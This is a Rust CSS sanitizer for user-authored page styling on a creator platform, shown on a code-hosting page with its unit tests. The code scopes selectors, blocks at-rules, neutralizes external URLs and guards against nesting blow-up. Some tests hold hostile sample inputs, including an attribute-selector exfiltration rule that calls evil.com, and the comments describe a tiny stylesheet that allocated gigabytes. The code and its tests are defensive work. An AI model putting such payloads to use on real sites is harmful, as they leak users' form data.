Skip to main content

max / makenotwork

55.9 KB · 1433 lines History Blame Raw
1 //! CSS sanitization for custom pages, built on [`lightningcss`].
2 //!
3 //! The job is to take creator CSS and make it safe to inline on a public page
4 //! without it escaping the user canvas or reaching off-platform. The pipeline:
5 //!
6 //! 1. **Parse** the creator's CSS to an AST (nesting enabled, error-recovery on
7 //! so one bad rule doesn't discard the sheet).
8 //! 2. **Visit** it once to: drop at-rules outside the allowlist, validate every
9 //! `url()` (off-platform URLs are neutralized), strip system-slot hiding
10 //! properties on `.mnw-*` selectors, enforce the strobe budget, flag
11 //! `expression()`, and count rules/selectors against the DoS caps.
12 //! 3. **Scope** by partitioning rules into ones that select elements (style,
13 //! `@media`, `@supports`, `@layer` blocks) and ones that are global by nature
14 //! (`@keyframes`, `@font-face`, `@page`, `@layer` statements). The former are
15 //! re-emitted nested inside `.user-canvas#uc-{owner}` and flattened by
16 //! lightningcss, so scoping is done by the engine's own spec-compliant
17 //! nesting resolver rather than fragile string surgery. Selectors that try to
18 //! escape (`html`, `body`, `:root`, `*`) become `.user-canvas html` etc. and
19 //! match nothing outside the canvas.
20 //! 4. **Append** a reduced-motion override as the final rule.
21 //!
22 //! The parse -> print -> wrap -> reparse round-trip is also what makes brace
23 //! injection impossible: a stray `}` in creator input is a parse error, never a
24 //! literal that could close the wrapper early.
25
26 use std::convert::Infallible;
27
28 use lightningcss::declaration::DeclarationBlock;
29 use lightningcss::properties::Property;
30 use lightningcss::properties::custom::Function;
31 use lightningcss::rules::{CssRule, CssRuleList};
32 use lightningcss::selector::{Component, Selector, SelectorList};
33 use lightningcss::stylesheet::{ParserFlags, ParserOptions, PrinterOptions, StyleSheet};
34 use lightningcss::targets::{Features, Targets};
35 use lightningcss::values::url::Url;
36 use lightningcss::visit_types;
37 use lightningcss::visitor::{Visit, VisitTypes, Visitor};
38
39 use super::url_filter::{UrlPolicy, resolve_internal_url};
40 use super::{MAX_RULES, MAX_SELECTORS, Rejection, RejectionKind};
41
42 /// Sanitize creator CSS for a profile or project page, scoping it to
43 /// `.user-canvas#uc-{scope_id}`. See [`scope_and_sanitize`].
44 pub fn sanitize_css(input: &str, scope_id: &str, policy: &UrlPolicy) -> (String, Vec<Rejection>) {
45 scope_and_sanitize(input, "user-canvas", "uc", scope_id, policy)
46 }
47
48 /// Sanitize a project's CSS for one of its item pages, scoping it to
49 /// `.item-canvas#ic-{project_id}`. Item pages have no HTML of their own; they
50 /// wear the parent project's styling re-scoped to the item canvas root.
51 pub fn sanitize_item_css(
52 input: &str,
53 project_id: &str,
54 policy: &UrlPolicy,
55 ) -> (String, Vec<Rejection>) {
56 scope_and_sanitize(input, "item-canvas", "ic", project_id, policy)
57 }
58
59 /// Sanitize creator CSS, scoping it to `.{canvas_class}#{id_prefix}-{scope_id}`.
60 ///
61 /// `scope_id` must be an id-safe token (the owner/project UUID); anything else
62 /// is refused outright. `canvas_class`/`id_prefix` are internal constants.
63 /// Returns the sanitized, scoped stylesheet plus every reference stripped along
64 /// the way. On a fatal parse failure or a complexity-cap breach, returns empty
65 /// CSS and a single explanatory rejection, a page that can't be made safe
66 /// renders as the platform default, never partially.
67 fn scope_and_sanitize(
68 input: &str,
69 canvas_class: &str,
70 id_prefix: &str,
71 scope_id: &str,
72 policy: &UrlPolicy,
73 ) -> (String, Vec<Rejection>) {
74 if input.trim().is_empty() {
75 return (String::new(), Vec::new());
76 }
77
78 if !is_id_safe(scope_id) {
79 return (
80 String::new(),
81 vec![Rejection {
82 kind: RejectionKind::MalformedCss,
83 location: "css".into(),
84 original_value: scope_id.to_string(),
85 reason: "internal: unsafe owner scope".into(),
86 }],
87 );
88 }
89
90 let Ok(mut stylesheet) = StyleSheet::parse(input, parser_options()) else {
91 tracing::warn!(
92 input_len = input.len(),
93 "custom-page CSS rejected: unparseable"
94 );
95 return (
96 String::new(),
97 vec![Rejection {
98 kind: RejectionKind::MalformedCss,
99 location: "css".into(),
100 original_value: String::new(),
101 reason: "CSS could not be parsed".into(),
102 }],
103 );
104 };
105
106 let mut sanitizer = CssSanitizer {
107 policy,
108 rejections: Vec::new(),
109 rule_count: 0,
110 selector_count: 0,
111 };
112 // Our visitor never returns Err.
113 let _: Result<(), Infallible> = stylesheet.visit(&mut sanitizer);
114
115 if sanitizer.rule_count > MAX_RULES || sanitizer.selector_count > MAX_SELECTORS {
116 tracing::warn!(
117 rule_count = sanitizer.rule_count,
118 selector_count = sanitizer.selector_count,
119 "custom-page CSS rejected: exceeds complexity limits (MAX_RULES={MAX_RULES}, MAX_SELECTORS={MAX_SELECTORS})"
120 );
121 return (
122 String::new(),
123 vec![Rejection {
124 kind: RejectionKind::ComplexityLimit,
125 location: "css".into(),
126 original_value: format!(
127 "{} rules, {} selectors",
128 sanitizer.rule_count, sanitizer.selector_count
129 ),
130 reason: format!(
131 "stylesheet too complex (limit {MAX_RULES} rules, {MAX_SELECTORS} selectors)"
132 ),
133 }],
134 );
135 }
136
137 // THE CAPS ABOVE COUNT THE PARSED TREE; FLATTENING IS MULTIPLICATIVE.
138 //
139 // `rule_count` and `selector_count` are accumulated additively over the AST
140 // as parsed, and they are checked before the scoping wrapper is flattened.
141 // Nested selectors do not add, they multiply: a rule with N selectors
142 // nested inside one with M produces N*M flattened selectors, and the caps
143 // never see it. The css soak target found the consequence in its first
144 // half-hour (infra `bd562c12`) as a 2.1 GB allocation from a 167-byte
145 // stylesheet -- nested `&` selectors, roughly 30x per level:
146 //
147 // depth 1: 43 bytes in -> 723 bytes out
148 // depth 2: 77 bytes in -> 17,253 bytes out
149 // depth 3: 111 bytes in -> 513,153 bytes out
150 // depth 4: 145 bytes in -> 15,390,153 bytes out
151 //
152 // and zero rejections at every depth. Sanitization is render-time, so that
153 // is not a slow save: it is every visitor to that page allocating
154 // gigabytes, which is a denial of service any creator could have written by
155 // accident.
156 //
157 // The projection below multiplies down the nesting tree and refuses the
158 // sheet before anything is flattened. It reuses MAX_SELECTORS and
159 // `ComplexityLimit` rather than inventing a limit: "too complex, render the
160 // platform default" is already this crate's designed answer, and it was
161 // only ever measuring the wrong number.
162 let projected = projected_expansion(&stylesheet.rules, 1);
163 if projected > MAX_SELECTORS as u64 {
164 tracing::warn!(
165 projected,
166 "custom-page CSS rejected: nested selectors project to {projected} flattened selectors (limit {MAX_SELECTORS})"
167 );
168 return (
169 String::new(),
170 vec![Rejection {
171 kind: RejectionKind::ComplexityLimit,
172 location: "css".into(),
173 original_value: format!("{projected} flattened selectors"),
174 reason: format!(
175 "nested selectors expand to more than {MAX_SELECTORS} rules once flattened"
176 ),
177 }],
178 );
179 }
180
181 let mut rejections = sanitizer.rejections;
182
183 // Partition surviving rules: element-selecting rules get scoped; rules that
184 // are global by nature stay top-level (they have no document selectors, and
185 // they cannot legally nest inside a style rule anyway).
186 let rules = std::mem::take(&mut stylesheet.rules.0);
187 let mut global = Vec::new();
188 let mut scopable = Vec::new();
189 for rule in rules {
190 match rule {
191 CssRule::Ignored => {}
192 CssRule::Keyframes(_)
193 | CssRule::FontFace(_)
194 | CssRule::Page(_)
195 | CssRule::LayerStatement(_) => global.push(rule),
196 _ => scopable.push(rule),
197 }
198 }
199
200 let scope_selector = format!(".{canvas_class}#{id_prefix}-{scope_id}");
201
202 let global_css = print_rules(global);
203 let scopable_css = print_rules(scopable);
204
205 // Wrap the element-selecting rules in the canvas selector and let
206 // lightningcss flatten the nesting (scoping done by the engine).
207 let flat_scoped = if scopable_css.trim().is_empty() {
208 String::new()
209 } else {
210 let wrapped = format!("{scope_selector} {{\n{scopable_css}\n}}");
211 match StyleSheet::parse(&wrapped, parser_options()) {
212 Ok(sheet) => sheet
213 .to_css(PrinterOptions {
214 targets: Targets {
215 browsers: None,
216 include: Features::Nesting,
217 exclude: Features::empty(),
218 },
219 ..Default::default()
220 })
221 .map(|r| r.code)
222 .unwrap_or_default(),
223 Err(_) => {
224 // Should not happen on already-sanitized input; fail safe.
225 rejections.push(Rejection {
226 kind: RejectionKind::MalformedCss,
227 location: "css".into(),
228 original_value: String::new(),
229 reason: "internal: re-scope failed".into(),
230 });
231 String::new()
232 }
233 }
234 };
235
236 // NOT VERIFIED AGAINST THE PRINTER, and that is a known gap rather than an
237 // oversight. See infra `bd562c12`: the css soak target found that
238 // lightningcss's nesting flattener can print a selector whose text no
239 // longer parses back to the scoped AST -- `-- &x` prints as `#uc-abcx`, the
240 // trailing type selector merging into the canvas id.
241 //
242 // A guard that reparsed this function's own printed output and dropped
243 // unscoped rules was written, and then REMOVED, because it was worse than
244 // what it fixed. Every mis-flattened shape found NARROWS the match (a
245 // longer identifier matches fewer elements), so the rules it dropped were
246 // inert. The reparse, meanwhile, ran over the FLATTENED sheet, which is far
247 // larger and more deeply nested than the input: 214 bytes of creator CSS
248 // flattens to 219 KB, and parsing that overflowed a 2 MB stack -- tokio's
249 // default worker size. A Rust stack overflow is not a catchable panic, so
250 // that traded an inert rule for an abort of the whole server process,
251 // reachable by any visitor to the page.
252 //
253 // Fixing it safely needs a check that does not reparse the output, and
254 // choosing one is a design decision rather than a mechanical fix.
255
256 // Reduced-motion override, always last (decision #3). Scoped to the canvas.
257 let reduced_motion = format!(
258 "@media (prefers-reduced-motion: reduce){{{scope_selector},{scope_selector} *{{animation:none!important;transition:none!important}}}}"
259 );
260
261 let mut out = String::new();
262 if !global_css.trim().is_empty() {
263 out.push_str(global_css.trim());
264 out.push('\n');
265 }
266 if !flat_scoped.trim().is_empty() {
267 out.push_str(flat_scoped.trim());
268 out.push('\n');
269 }
270 out.push_str(&reduced_motion);
271
272 (escape_lt_for_style_element(&out), rejections)
273 }
274
275 /// How far this rule tree expands when nesting is flattened.
276 ///
277 /// Not a selector count: a compound like `&&&&` is ONE selector whose four
278 /// nesting components each expand to the parent's flattened text, so the
279 /// growth is textual and multiplies down the tree. Counting selector-list
280 /// length instead measures the wrong axis entirely and waves the input
281 /// through, which is what a first attempt at this did.
282 ///
283 /// `factor` is what the enclosing rules already multiply by. Saturating
284 /// throughout: the answer only has to be "past the cap", and an overflow would
285 /// wrap to a small number and admit exactly the input this refuses.
286 fn projected_expansion(rules: &CssRuleList<'_>, factor: u64) -> u64 {
287 let mut worst = factor;
288 for rule in &rules.0 {
289 let (own, nested) = match rule {
290 CssRule::Style(style) => {
291 // Each nesting reference reproduces the parent selector; the
292 // selector list multiplies on top of that.
293 let refs: u64 = style
294 .selectors
295 .0
296 .iter()
297 .map(|s| {
298 s.iter_raw_match_order()
299 .filter(|c| matches!(c, Component::Nesting))
300 .count() as u64
301 })
302 .sum();
303 let width = refs.max(style.selectors.0.len() as u64).max(1);
304 (factor.saturating_mul(width), Some(&style.rules))
305 }
306 CssRule::Media(r) => (factor, Some(&r.rules)),
307 CssRule::Supports(r) => (factor, Some(&r.rules)),
308 CssRule::LayerBlock(r) => (factor, Some(&r.rules)),
309 _ => (factor, None),
310 };
311 worst = worst.max(own);
312 if let Some(inner) = nested {
313 worst = worst.max(projected_expansion(inner, own));
314 }
315 if worst > u64::from(u32::MAX) {
316 return worst; // Already past any cap; stop walking.
317 }
318 }
319 worst
320 }
321
322 /// Make the sheet safe to inline raw inside an HTML `<style>` element.
323 ///
324 /// `<style>` is a raw-text element: the HTML tokenizer ends it at the first
325 /// `</style` regardless of CSS syntax, so a creator's `content: "</style>..."`
326 /// would otherwise break out and inject markup. lightningcss faithfully
327 /// preserves the literal `<` inside CSS string tokens, so we escape every `<`
328 /// in the final output to its CSS hex escape `\3c ` (the trailing space
329 /// terminates the hex digits). `<` is not valid CSS syntax outside string/url
330 /// tokens, so this rewrite is lossless where it matters and never produces a
331 /// literal `<` for the HTML parser to act on. `</style>`, `<!--`, and `<script`
332 /// all require a `<`, so neutralizing it closes the whole class.
333 fn escape_lt_for_style_element(css: &str) -> String {
334 if !css.contains('<') {
335 return css.to_string();
336 }
337 css.replace('<', "\\3c ")
338 }
339
340 pub(super) fn parser_options<'o, 'i>() -> ParserOptions<'o, 'i> {
341 ParserOptions {
342 // Nesting is standard CSS; let creators use it and let us wrap with it.
343 //
344 // Inert at the pinned lightningcss version, which defines
345 // `ParserFlags::NESTING` and reads it nowhere, so nesting parses with
346 // or without it. Kept because a later version may start reading the
347 // flag. No test can observe this line, and mutation reports it as a
348 // permanent survivor.
349 flags: ParserFlags::NESTING,
350 // One malformed rule shouldn't discard the whole sheet.
351 error_recovery: true,
352 ..Default::default()
353 }
354 }
355
356 /// Print a set of rules to CSS (non-minified, no nesting transform).
357 fn print_rules(rules: Vec<CssRule<'_>>) -> String {
358 if rules.is_empty() {
359 return String::new();
360 }
361 let sheet = StyleSheet::new(Vec::new(), CssRuleList(rules), ParserOptions::default());
362 sheet
363 .to_css(PrinterOptions::default())
364 .map(|r| r.code)
365 .unwrap_or_default()
366 }
367
368 /// An id token safe to embed in a CSS id selector: ASCII alphanumerics and `-`.
369 fn is_id_safe(s: &str) -> bool {
370 !s.is_empty() && s.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-')
371 }
372
373 /// The single-pass AST sanitizer.
374 struct CssSanitizer<'p> {
375 policy: &'p UrlPolicy,
376 rejections: Vec<Rejection>,
377 rule_count: usize,
378 selector_count: usize,
379 }
380
381 impl<'i> Visitor<'i> for CssSanitizer<'_> {
382 type Error = Infallible;
383
384 fn visit_types(&self) -> VisitTypes {
385 visit_types!(RULES | URLS | FUNCTIONS)
386 }
387
388 fn visit_rule(&mut self, rule: &mut CssRule<'i>) -> Result<(), Self::Error> {
389 self.rule_count += 1;
390
391 // At-rule allowlist. Anything not explicitly allowed is replaced with
392 // CssRule::Ignored (prints nothing) and recorded. Allowed at-rules fall
393 // through to the recursion below so their contents are still cleaned.
394 let blocked_name: Option<&str> = match rule {
395 CssRule::Import(_) => Some("@import"),
396 CssRule::Namespace(_) => Some("@namespace"),
397 CssRule::MozDocument(_) => Some("@-moz-document"),
398 CssRule::CustomMedia(_) => Some("@custom-media"),
399 CssRule::Property(_) => Some("@property"),
400 CssRule::Viewport(_) => Some("@viewport"),
401 CssRule::CounterStyle(_) => Some("@counter-style"),
402 CssRule::FontPaletteValues(_) => Some("@font-palette-values"),
403 CssRule::FontFeatureValues(_) => Some("@font-feature-values"),
404 CssRule::Container(_) => Some("@container"),
405 CssRule::Scope(_) => Some("@scope"),
406 CssRule::StartingStyle(_) => Some("@starting-style"),
407 CssRule::ViewTransition(_) => Some("@view-transition"),
408 CssRule::Unknown(_) => Some("unknown at-rule"),
409 // Explicitly allowed: plain style rules and the safe grouping/at-rules.
410 // Enumerated with NO wildcard arm (UX-S2, Run 7) so a future
411 // lightningcss upgrade that adds a `CssRule` variant fails to COMPILE
412 // here until it is triaged into allow-or-block, instead of the old
413 // `_ => None` silently emitting an unknown at-rule unfiltered into the
414 // `<style>` block.
415 CssRule::Media(_)
416 | CssRule::Style(_)
417 | CssRule::Keyframes(_)
418 | CssRule::FontFace(_)
419 | CssRule::Page(_)
420 | CssRule::Supports(_)
421 | CssRule::Nesting(_)
422 | CssRule::NestedDeclarations(_)
423 | CssRule::LayerStatement(_)
424 | CssRule::LayerBlock(_)
425 | CssRule::Ignored
426 | CssRule::Custom(_) => None,
427 };
428
429 if let Some(name) = blocked_name {
430 self.rejections.push(Rejection {
431 kind: RejectionKind::BlockedAtRule,
432 location: name.to_string(),
433 original_value: name.to_string(),
434 reason: format!("{name} is not allowed in custom pages"),
435 });
436 *rule = CssRule::Ignored;
437 return Ok(());
438 }
439
440 // Style-rule-specific cleanups, with selector context in hand.
441 if let CssRule::Style(style) = rule {
442 self.selector_count += style.selectors.0.len();
443 if selectors_target_system_slot(&style.selectors) {
444 strip_hiding_properties(&mut style.declarations, &mut self.rejections);
445 }
446 enforce_animation_budget(&mut style.declarations, &mut self.rejections);
447 }
448
449 // Recurse into declarations (url()/expression()) and nested rules.
450 rule.visit_children(self)
451 }
452
453 fn visit_url(&mut self, url: &mut Url<'i>) -> Result<(), Self::Error> {
454 if let Err(rejection) = resolve_internal_url(&url.url, self.policy, "css url()") {
455 self.rejections.push(rejection);
456 // Neutralize: an empty url() resolves to the current document
457 // (same-origin), never the off-platform target.
458 url.url = "".into();
459 }
460 Ok(())
461 }
462
463 fn visit_function(&mut self, function: &mut Function<'i>) -> Result<(), Self::Error> {
464 // expression() is dead in every browser we support, but the sanitizer's
465 // contract is "recorded as blocked => actually removed", so neutralize it
466 // rather than passing the token through: clear its arguments (dropping any
467 // url()/payload inside) and rename it so the output can't contain a
468 // working `expression(...)` (Run 21 security).
469 if function.name.as_ref().eq_ignore_ascii_case("expression") {
470 self.rejections.push(Rejection {
471 kind: RejectionKind::BlockedFunction,
472 location: "css".into(),
473 original_value: "expression()".into(),
474 reason: "the expression() function is not allowed".into(),
475 });
476 function.arguments.0.clear();
477 function.name = lightningcss::values::ident::Ident("mnw-blocked".into());
478 return Ok(());
479 }
480 function.visit_children(self)
481 }
482 }
483
484 /// True if any selector in the list targets a `.mnw-*` system-slot class
485 /// (directly or inside `:is()`/`:where()`/`:not()`/`:has()`).
486 fn selectors_target_system_slot(list: &SelectorList) -> bool {
487 list.0.iter().any(selector_has_system_class)
488 }
489
490 fn selector_has_system_class(selector: &Selector) -> bool {
491 selector
492 .iter_raw_match_order()
493 .any(component_has_system_class)
494 }
495
496 fn component_has_system_class(component: &Component) -> bool {
497 match component {
498 Component::Class(ident) => ident.0.starts_with("mnw-"),
499 Component::Is(list)
500 | Component::Where(list)
501 | Component::Negation(list)
502 | Component::Has(list) => list.iter().any(selector_has_system_class),
503 Component::Any(_, list) => list.iter().any(selector_has_system_class),
504 Component::Host(Some(inner)) => selector_has_system_class(inner),
505 _ => false,
506 }
507 }
508
509 /// Remove declarations that would hide a system slot, preserving the rest of
510 /// the rule. Records one rejection per dropped property.
511 fn strip_hiding_properties(decls: &mut DeclarationBlock, rejections: &mut Vec<Rejection>) {
512 for list in [&mut decls.declarations, &mut decls.important_declarations] {
513 list.retain(|prop| {
514 if is_hiding_property(prop) {
515 rejections.push(Rejection {
516 kind: RejectionKind::HidingProperty,
517 location: ".mnw-* rule".into(),
518 original_value: prop_string(prop),
519 reason: "system slots (.mnw-*) cannot be hidden".into(),
520 });
521 false
522 } else {
523 true
524 }
525 });
526 }
527 }
528
529 /// Whether a property+value combination hides an element. Matched against the
530 /// serialized declaration so we don't have to enumerate every typed variant.
531 fn is_hiding_property(prop: &Property) -> bool {
532 let norm = normalize(&prop_string(prop));
533 if let Some(rest) = norm.strip_prefix("opacity:") {
534 return rest.parse::<f32>().is_ok_and(|v| v < 0.1);
535 }
536 matches!(
537 norm.as_str(),
538 "display:none"
539 | "visibility:hidden"
540 | "visibility:collapse"
541 | "pointer-events:none"
542 | "width:0"
543 | "width:0px"
544 | "height:0"
545 | "height:0px"
546 // UX-M4: 0-sized box via max-* and 0 font-size hide content too.
547 | "max-width:0"
548 | "max-width:0px"
549 | "max-height:0"
550 | "max-height:0px"
551 | "font-size:0"
552 | "font-size:0px"
553 // Legacy clip:rect(0,0,0,0) screen-reader-hide trick.
554 | "clip:rect(0,0,0,0)"
555 | "clip:rect(0px,0px,0px,0px)"
556 ) || (norm.starts_with("transform:") && norm.contains("scale(0)"))
557 // clip-path clipping the element to nothing (UX-M4).
558 || (norm.starts_with("clip-path:")
559 && (norm.contains("inset(100%") || norm.contains("circle(0")))
560 // Off-screen text via large-negative text-indent (UX-M4).
561 || is_offscreen_text_indent(&norm)
562 }
563
564 /// Large-negative `text-indent`, the classic off-screen text-hiding trick
565 /// (`text-indent:-9999px`). Anything ≤ -1000px (or unitless) counts as hiding.
566 fn is_offscreen_text_indent(norm: &str) -> bool {
567 norm.strip_prefix("text-indent:")
568 .map(|rest| rest.strip_suffix("px").unwrap_or(rest))
569 .and_then(|n| n.parse::<f32>().ok())
570 .is_some_and(|v| v <= -1000.0)
571 }
572
573 /// Drop infinite animations faster than 2s (strobe guard, decision #3). The
574 /// reduced-motion override handles accessibility; this caps the worst abuse for
575 /// everyone else.
576 fn enforce_animation_budget(decls: &mut DeclarationBlock, rejections: &mut Vec<Rejection>) {
577 /// A finite iteration-count this high at a sub-2s duration strobes just like
578 /// `infinite` does (UX-M5), `infinite` was the only case caught before.
579 const STROBE_MAX_ITERATIONS: f32 = 20.0;
580
581 let mut has_infinite = false;
582 let mut min_duration: Option<f32> = None;
583 let mut max_iterations: Option<f32> = None;
584
585 for list in [&decls.declarations, &decls.important_declarations] {
586 for prop in list {
587 // Lowercased but whitespace-preserved: duration tokens like `1s`
588 // must stay split from neighbouring keywords.
589 let raw = prop_string(prop).to_ascii_lowercase();
590 if raw.contains("infinite") {
591 has_infinite = true;
592 }
593 if let Some(rest) = raw.strip_prefix("animation-duration:") {
594 update_min_duration(rest, &mut min_duration);
595 } else if let Some(rest) = raw.strip_prefix("animation-iteration-count:") {
596 update_max_iterations(rest, &mut max_iterations);
597 } else if let Some(rest) = raw.strip_prefix("animation:") {
598 update_min_duration(rest, &mut min_duration);
599 update_max_iterations(rest, &mut max_iterations);
600 }
601 }
602 }
603
604 let fast = min_duration.is_some_and(|d| d < 2.0);
605 let high_count = max_iterations.is_some_and(|n| n >= STROBE_MAX_ITERATIONS);
606 let strobe = (has_infinite || high_count) && fast;
607 if !strobe {
608 return;
609 }
610
611 let mut dropped = false;
612 for list in [&mut decls.declarations, &mut decls.important_declarations] {
613 list.retain(|prop| {
614 let norm = normalize(&prop_string(prop));
615 if norm.starts_with("animation") {
616 dropped = true;
617 false
618 } else {
619 true
620 }
621 });
622 }
623 if dropped {
624 rejections.push(Rejection {
625 kind: RejectionKind::AnimationBudget,
626 location: "animation".into(),
627 original_value: "infinite animation under 2s".into(),
628 reason: "fast infinite animations are not allowed (strobe guard)".into(),
629 });
630 }
631 }
632
633 fn update_min_duration(value: &str, min: &mut Option<f32>) {
634 for token in value.split([' ', ',']) {
635 if let Some(secs) = parse_seconds(token) {
636 *min = Some(min.map_or(secs, |m| m.min(secs)));
637 }
638 }
639 }
640
641 /// Track the largest finite iteration-count seen, scanning either the explicit
642 /// `animation-iteration-count` value or the `animation` shorthand (UX-M5). A bare
643 /// unitless number is the count; durations carry `s`/`ms` and percentages `%`, so
644 /// they're skipped. `infinite` is handled separately.
645 fn update_max_iterations(value: &str, max: &mut Option<f32>) {
646 for token in value.split([' ', ',']) {
647 let token = token.trim();
648 if token.is_empty() || token.ends_with('s') || token.ends_with('%') {
649 continue;
650 }
651 if let Ok(n) = token.parse::<f32>() {
652 *max = Some(max.map_or(n, |m| m.max(n)));
653 }
654 }
655 }
656
657 /// Parse a CSS time token to seconds. Returns None for non-time tokens.
658 fn parse_seconds(token: &str) -> Option<f32> {
659 let t = token.trim();
660 if let Some(ms) = t.strip_suffix("ms") {
661 ms.parse::<f32>().ok().map(|v| v / 1000.0)
662 } else if let Some(s) = t.strip_suffix('s') {
663 s.parse::<f32>().ok()
664 } else {
665 None
666 }
667 }
668
669 fn prop_string(prop: &Property) -> String {
670 prop.to_css_string(false, PrinterOptions::default())
671 .unwrap_or_default()
672 }
673
674 /// Lowercase and strip ASCII whitespace, for value matching.
675 fn normalize(s: &str) -> String {
676 s.chars()
677 .filter(|c| !c.is_whitespace())
678 .collect::<String>()
679 .to_ascii_lowercase()
680 }
681
682 #[cfg(test)]
683 mod tests {
684
685 #[test]
686 fn nested_amplification_is_refused_before_it_is_flattened() {
687 // The css soak target's second finding (infra `bd562c12`): 167 bytes of
688 // nested `&` selectors allocated 2.1 GB, because the complexity caps
689 // count the parsed tree additively and flattening multiplies. Measured
690 // growth was ~30x per level -- 145 bytes in, 15 MB out, zero
691 // rejections. Sanitization is render-time, so that is every visitor to
692 // the page, not a slow save.
693 let amp = "&".repeat(30);
694 let css = format!("{amp} {{ {amp} {{ {amp} {{ color:red }} }} }}");
695 assert!(css.len() < 200, "the point is that the input is tiny");
696
697 let (out, rejections) = sanitize_css(&css, "abc", &test_policy());
698 assert!(
699 out.is_empty(),
700 "an unsafe sheet renders as nothing: {out:.200}"
701 );
702 assert!(
703 rejections
704 .iter()
705 .any(|r| matches!(r.kind, RejectionKind::ComplexityLimit)),
706 "refusal must be recorded as a complexity limit: {rejections:?}"
707 );
708 }
709
710 #[test]
711 fn ordinary_nesting_is_not_refused() {
712 // The guard is worthless if it refuses real pages. Nesting is standard
713 // CSS and the parser enables it deliberately.
714 for css in [
715 ".card { color: red; &:hover { color: blue } }",
716 "h1,h2,h3 { &:hover, &:focus { color: red } }",
717 ".a { .b { .c { color: red } } }",
718 "@media print { .a { &:hover { color: red } } }",
719 ] {
720 let (out, rejections) = sanitize_css(css, "abc", &test_policy());
721 assert!(
722 !rejections
723 .iter()
724 .any(|r| matches!(r.kind, RejectionKind::ComplexityLimit)),
725 "ordinary nesting was refused: {css:?} -> {rejections:?}"
726 );
727 assert!(
728 !out.is_empty(),
729 "ordinary nesting produced nothing: {css:?}"
730 );
731 }
732 }
733
734 fn test_policy() -> UrlPolicy {
735 UrlPolicy::new(
736 "https://u.makenot.work/alice/proj",
737 ["makenot.work".to_string(), "u.makenot.work".to_string()],
738 )
739 .unwrap()
740 }
741 use super::*;
742
743 const SCOPE: &str = "11111111-1111-1111-1111-111111111111";
744
745 fn policy() -> UrlPolicy {
746 UrlPolicy::new(
747 "https://u.makenot.work/alice/proj",
748 [
749 "makenot.work".to_string(),
750 "u.makenot.work".to_string(),
751 "cdn.makenot.work".to_string(),
752 ],
753 )
754 .unwrap()
755 }
756
757 fn san(css: &str) -> (String, Vec<Rejection>) {
758 sanitize_css(css, SCOPE, &policy())
759 }
760
761 fn scoped(css: &str) -> String {
762 san(css).0
763 }
764
765 #[test]
766 fn empty_input_is_empty() {
767 assert_eq!(san("").0, "");
768 assert_eq!(san(" ").0, "");
769 }
770
771 #[test]
772 fn scopes_plain_selectors() {
773 let out = scoped("p { color: red }");
774 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 p"));
775 }
776
777 #[test]
778 fn neutralizes_body_and_root_escape() {
779 let out = scoped("body { background: blue } :root { color: green }");
780 // Both are confined under the canvas (descendant), matching nothing outside.
781 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body"));
782 assert!(!out.contains("\nbody"));
783 assert!(!out.starts_with("body"));
784 }
785
786 #[test]
787 fn rejects_import() {
788 let (out, rej) = san("@import url(https://evil.com/x.css); p { color: red }");
789 assert!(!out.contains("@import"));
790 assert!(!out.contains("evil.com"));
791 assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule));
792 assert!(out.contains("color"));
793 }
794
795 #[test]
796 fn rejects_namespace_and_moz_document() {
797 let (out, rej) =
798 san("@namespace url(http://x); @-moz-document url-prefix() { p {color:red} }");
799 assert!(!out.to_lowercase().contains("namespace"));
800 assert!(!out.to_lowercase().contains("moz-document"));
801 assert!(
802 rej.iter()
803 .filter(|r| r.kind == RejectionKind::BlockedAtRule)
804 .count()
805 >= 2
806 );
807 }
808
809 #[test]
810 fn allows_media_and_keyframes_and_fontface() {
811 let out = scoped(
812 "@media (min-width: 600px) { .wide { color: red } } \
813 @keyframes spin { from {opacity:0} to {opacity:1} }",
814 );
815 assert!(out.contains("@media"));
816 assert!(out.contains("@keyframes"));
817 // The media rule's inner selector is scoped...
818 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 .wide"));
819 // ...but @keyframes stays global (not nested under the canvas).
820 assert!(out.contains("@keyframes spin"));
821 }
822
823 #[test]
824 fn external_url_in_background_is_neutralized() {
825 let (out, rej) = san(".x { background: url(https://evil.com/y.png) }");
826 assert!(!out.contains("evil.com"));
827 assert!(rej.iter().any(|r| r.kind == RejectionKind::ExternalUrl));
828 }
829
830 #[test]
831 fn internal_and_relative_urls_kept() {
832 let out = scoped(
833 ".a{background:url(/static/p.png)} .b{background:url(https://cdn.makenot.work/x)}",
834 );
835 assert!(out.contains("/static/p.png"));
836 assert!(out.contains("cdn.makenot.work/x"));
837 }
838
839 #[test]
840 fn attribute_selector_exfiltration_blocked() {
841 // The classic CSS data-exfiltration trick: url() must be dropped.
842 let (out, _) = san("input[value^=\"a\"] { background: url(//evil.com/a) }");
843 assert!(!out.contains("evil.com"));
844 }
845
846 #[test]
847 fn mnw_hiding_properties_stripped() {
848 let (out, rej) = san(".mnw-buy { display: none; color: red }");
849 assert!(!normalize(&out).contains("display:none"));
850 assert!(out.contains("color"));
851 assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
852 }
853
854 #[test]
855 fn mnw_hiding_via_has_stripped() {
856 let (_out, rej) = san("*:has(.mnw-files) { opacity: 0 }");
857 assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
858 }
859
860 #[test]
861 fn non_mnw_hiding_is_allowed() {
862 let (out, rej) = san(".myclass { display: none }");
863 assert!(normalize(&out).contains("display:none"));
864 assert!(!rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
865 }
866
867 #[test]
868 fn mnw_widened_hiding_properties_stripped() {
869 // UX-M4: clip-path, font-size:0, and off-screen text-indent are all hides.
870 for decl in [
871 "clip-path: inset(100%)",
872 "font-size: 0",
873 "text-indent: -9999px",
874 "max-height: 0",
875 "clip: rect(0, 0, 0, 0)",
876 ] {
877 let (_out, rej) = san(&format!(".mnw-buy {{ {decl} }}"));
878 assert!(
879 rej.iter().any(|r| r.kind == RejectionKind::HidingProperty),
880 "expected {decl} to be treated as hiding"
881 );
882 }
883 }
884
885 #[test]
886 fn reduced_motion_appended() {
887 let out = scoped("p { color: red }");
888 assert!(out.contains("prefers-reduced-motion"));
889 assert!(out.trim_end().ends_with('}'));
890 }
891
892 #[test]
893 fn fast_infinite_animation_dropped() {
894 let (out, rej) = san(".spin { animation: spin 1s infinite }");
895 assert!(!normalize(&out).contains("animation:spin"));
